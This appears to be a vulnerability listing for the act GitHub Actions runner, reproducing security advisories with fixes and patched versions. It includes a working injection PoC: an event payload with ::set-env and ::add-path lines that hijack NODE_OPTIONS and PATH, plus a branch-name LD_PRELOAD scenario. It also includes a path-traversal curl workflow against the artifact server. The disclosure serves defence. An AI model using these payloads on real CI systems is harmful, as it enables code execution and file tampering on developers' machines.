github.com/nektos/act known bugs
go6 known bugs in github.com/nektos/act, with affected versions, fixes and workarounds. Sourced from upstream issue trackers.
6
bugs
Known bugs
| Severity | Affected | Fixed in | Title | Status | Source |
|---|---|---|---|---|---|
| high | any | 0.2.86 | act: Unrestricted set-env and add-path command processing enables environment injection ## Summary
act unconditionally processes the deprecated `::set-env::` and `::add-path::` workflow commands, which GitHub Actions disabled in October 2020 (CVE-2020-15228, GHSA-mfwh-5m23-j46w) due to environment injection risks. When a workflow step echoes untrusted data to stdout, an attacker can inject these commands to set arbitrary environment variables or modify the PATH for all subsequent steps in the job. This makes `act` strictly less secure than GitHub Actions for the same workflow file.
## Vulnerable Code
**`pkg/runner/command.go`, lines 52-58:**
```go
switch command {
case "set-env":
rc.setEnv(ctx, kvPairs, arg)
case "set-output":
rc.setOutput(ctx, kvPairs, arg)
case "add-path":
rc.addPath(ctx, arg)
```
There is no check for the `ACTIONS_ALLOW_UNSECURE_COMMANDS` environment variable. The string `ACTIONS_ALLOW_UNSECURE_COMMANDS` does not appear anywhere in the act codebase.
On GitHub Actions, these commands are rejected unless `ACTIONS_ALLOW_UNSECURE_COMMANDS=true` is set:
```
Error: The `set-env` command is disabled. Please upgrade to using Environment Files
or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true.
```
## PoC: Environment and PATH Injection via PR Title
**Tested on:** act 0.2.84, Docker Desktop 29.1.2, macOS Darwin 24.5.0
**Step 1 — Create a workflow that logs PR metadata:**
`.github/workflows/vuln.yml`:
```yaml
name: Vulnerable Workflow
on: [pull_request]
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Log PR info
run: |
echo "Processing PR: ${{ github.event.pull_request.title }}"
- name: Subsequent step - check environment
run: |
echo "=== Environment Injection Check ==="
echo "NODE_OPTIONS=$NODE_OPTIONS"
echo "EVIL_VAR=$EVIL_VAR"
echo "PATH=$PATH"
```
**Step 2 — Create a malicious event payload:**
`event.json`:
```json
{
"pull_request": {
"title": "Fix typo\n::set-env name=EVIL_VAR::INJECTED_BY_ATTACKER\n::set-env name=NODE_OPTIONS::--require=/tmp/evil.js\n::add-path::/tmp/evil-bin",
"number": 1,
"head": { "ref": "fix-typo", "sha": "abc123" },
"base": { "ref": "main", "sha": "def456" }
}
}
```
**Step 3 — Run:**
```bash
git init && git add -A && git commit -m "init"
act pull_request -e event.json
```
**Result:**
```
[Vulnerable Workflow/build] | Processing PR: Fix typo
[Vulnerable Workflow/build] ⚙ ::set-env:: EVIL_VAR=INJECTED_BY_ATTACKER
[Vulnerable Workflow/build] ⚙ ::set-env:: NODE_OPTIONS=--require=/tmp/evil.js
[Vulnerable Workflow/build] ⚙ ::add-path:: /tmp/evil-bin
[Vulnerable Workflow/build] ✅ Success - Main Log PR info
[Vulnerable Workflow/build] | === Environment Injection Check ===
[Vulnerable Workflow/build] | NODE_OPTIONS=--require=/tmp/evil.js
[Vulnerable Workflow/build] | EVIL_VAR=INJECTED_BY_ATTACKER
[Vulnerable Workflow/build] | PATH=/tmp/evil-bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
[Vulnerable Workflow/build] | EXPLOITED: EVIL_VAR was injected into this step!
[Vulnerable Workflow/build] ✅ Success
[Vulnerable Workflow/build] 🏁 Job succeeded
```
All three injections succeeded silently:
- `EVIL_VAR=INJECTED_BY_ATTACKER` — arbitrary env var injected into subsequent step
- `NODE_OPTIONS=--require=/tmp/evil.js` — Node.js code execution vector
- `/tmp/evil-bin` prepended to PATH — command hijacking vector
## Attack Scenarios
**Scenario 1: Malicious PR title/body.** An attacker opens a PR with `::set-env name=NODE_OPTIONS::--require=/tmp/evil.js` embedded in the title. If any workflow step echoes the title (common for build summaries, Slack notifications, changelog generation), the injection fires. On GitHub Actions this is blocked. On act, it succeeds.
**Scenario 2: Malicious branch name.** `${{ github.head_ref }}` is attacker-controlled. A branch named `fix-typo%0A::set-env name=LD_PRELOAD::/tmp/evil.so` can inject `LD_PRELOAD`, which causes every subsequent dynamically-linked binary to load the attacker's shared library.
**Scenario 3: Commit message injection.** If a step runs `git log --oneline` and the output flows to stdout, an attacker's commit message containing `::set-env::` commands will be processed.
## Impact
- **Command injection** via env vars: `LD_PRELOAD`, `NODE_OPTIONS`, `PYTHONPATH`, `BASH_ENV`, `PERL5OPT` all enable arbitrary code execution
- **PATH hijacking**: attacker-controlled directory prepended to PATH hijacks any subsequent command
- **Cross-step escalation**: a step that merely logs untrusted data compromises all subsequent steps
- **Supply chain risk**: workflows that are safe on GitHub Actions become exploitable when run locally with act — developers have a false sense of security
## Suggested Fix
Add a check matching GitHub Actions' behavior:
```go
case "set-env":
if rc.Env["ACTIONS_ALLOW_UNSECURE_COMMANDS"] != "true" {
logger.Errorf("The `set-env` command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true")
return false
}
rc.setEnv(ctx, kvPairs, arg)
case "add-path":
if rc.Env["ACTIONS_ALLOW_UNSECURE_COMMANDS"] != "true" {
logger.Errorf("The `add-path` command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true")
return false
}
rc.addPath(ctx, arg)
```
This is a minimal, backwards-compatible fix — users who genuinely need these deprecated commands can opt in via `ACTIONS_ALLOW_UNSECURE_COMMANDS=true`, matching GitHub's approach.
---
Written by Golan Myers | fixed | osv:GHSA-xmgr-9pqc-h5vw |
| high | any | 0.2.86 | act: actions/cache server allows malicious cache injection act's built-in actions/cache server listens to connections on all interfaces and allows anyone who can connect to it — including someone anywhere on the internet — to create caches with arbitrary keys and retrieve all existing caches. If one can predict which cache keys will be used by local actions, one can create malicious caches containing whatever files one pleases, most likely allowing arbitrary remote code execution within the Docker container.
## Discovery
Discovered while discussing [forgejo/runner#294](https://code.forgejo.org/forgejo/runner/issues/294).
## Proposed Mitigation
It was discussed to append a secret to `ACTIONS_CACHE_URL` to retain compatibility with GitHub's cache action and still allow authorization. Forgejo is considering also encoding which repo is currently being run in CI into the secret in the URL to prevent unrelated repos using the same (probably global) runner from seeing each other's caches. | fixed | osv:GHSA-x34h-54cw-9825 |
| high | any | 0.2.40 | act vulnerable to arbitrary file upload in artifact server ### Impact
The artifact server that stores artifacts from Github Action runs does not sanitize path inputs. This allows an attacker to download and overwrite arbitrary files on the host from a Github Action. This issue may lead to privilege escalation.
#### Issue 1: Arbitrary file upload in artifact server (GHSL-2023-004)
The [/upload endpoint](https://github.com/nektos/act/blob/v0.2.35/pkg/artifacts/server.go#LL103C2-L103C2) is vulnerable to path traversal as filepath is user controlled, and ultimately flows into os.Mkdir and os.Open.
```
router.PUT("/upload/:runId", func(w http.ResponseWriter, req *http.Request, params httprouter.Params) {
itemPath := req.URL.Query().Get("itemPath")
runID := params.ByName("runId")
if req.Header.Get("Content-Encoding") == "gzip" {
itemPath += gzipExtension
}
filePath := fmt.Sprintf("%s/%s", runID, itemPath)
```
#### Issue 2: Arbitrary file download in artifact server (GHSL-2023-004)
The [/artifact endpoint](https://github.com/nektos/act/blob/v0.2.35/pkg/artifacts/server.go#L245) is vulnerable to path traversal as the path is variable is user controlled, and the specified file is ultimately returned by the server.
```
router.GET("/artifact/*path", func(w http.ResponseWriter, req *http.Request, params httprouter.Params) {
path := params.ByName("path")[1:]
file, err := fsys.Open(path)
```
#### Proof of Concept
Below I have written a Github Action that will upload secret.txt into the folder above the specified artifact directory. The first call to curl will create the directory named 1 if it does not already exist, and the second call to curl will upload the secret.txt file to the directory above the specified artifact directory.
When testing this POC, the `--artifact-server-path` parameter must be passed to act in order to enable the artifact server.
Replace yourIPandPort with the IP and port of the server. An attacker can enumerate /proc/net/tcp in order to find the artifact server IP and port, but this is out of the scope of this report. Please let me know if you would like a copy of this script.
```
name: CI
on: push
jobs:
test:
runs-on: ubuntu-latest
steps:
- run: echo "Here are some secrets" > secret.txt
- run: curl http://<yourIPandPort>/upload/1?itemPath=secret.txt --upload-file secret.txt
- run: curl http://<yourIPandPort>/upload/1?itemPath=../../secret.txt --upload-file secret.txt
```
### Remediation
1. During implementation of [Open and OpenAtEnd for FS](https://github.com/nektos/act/blob/master/pkg/artifacts/server.go#L65), please ensure to use ValidPath() to check against path traversal. See more here: https://pkg.go.dev/io/fs#FS
2. Clean the user-provided paths manually
### Patches
Version 0.2.40 contains a patch.
### Workarounds
Avoid use of artifact server with `--artifact-server-path` | fixed | osv:GHSA-pc99-qmg4-rcff |
| medium | any | 0.2.86 | act: Unrestricted set-env and add-path command processing enables environment injection in github.com/nektos/act act: Unrestricted set-env and add-path command processing enables environment injection in github.com/nektos/act | fixed | osv:GO-2026-4891 |
| medium | any | 0.2.86 | act: actions/cache server allows malicious cache injection in github.com/nektos/act act: actions/cache server allows malicious cache injection in github.com/nektos/act | fixed | osv:GO-2026-4890 |
| medium | any | 0.2.40 | act vulnerable to arbitrary file upload in artifact server in github.com/nektos/act act vulnerable to arbitrary file upload in artifact server in github.com/nektos/act | fixed | osv:GO-2023-1504 |
API access
Get this data programmatically \u2014 free, no authentication.
curl https://depscope.dev/api/bugs/go/github.com/nektos/act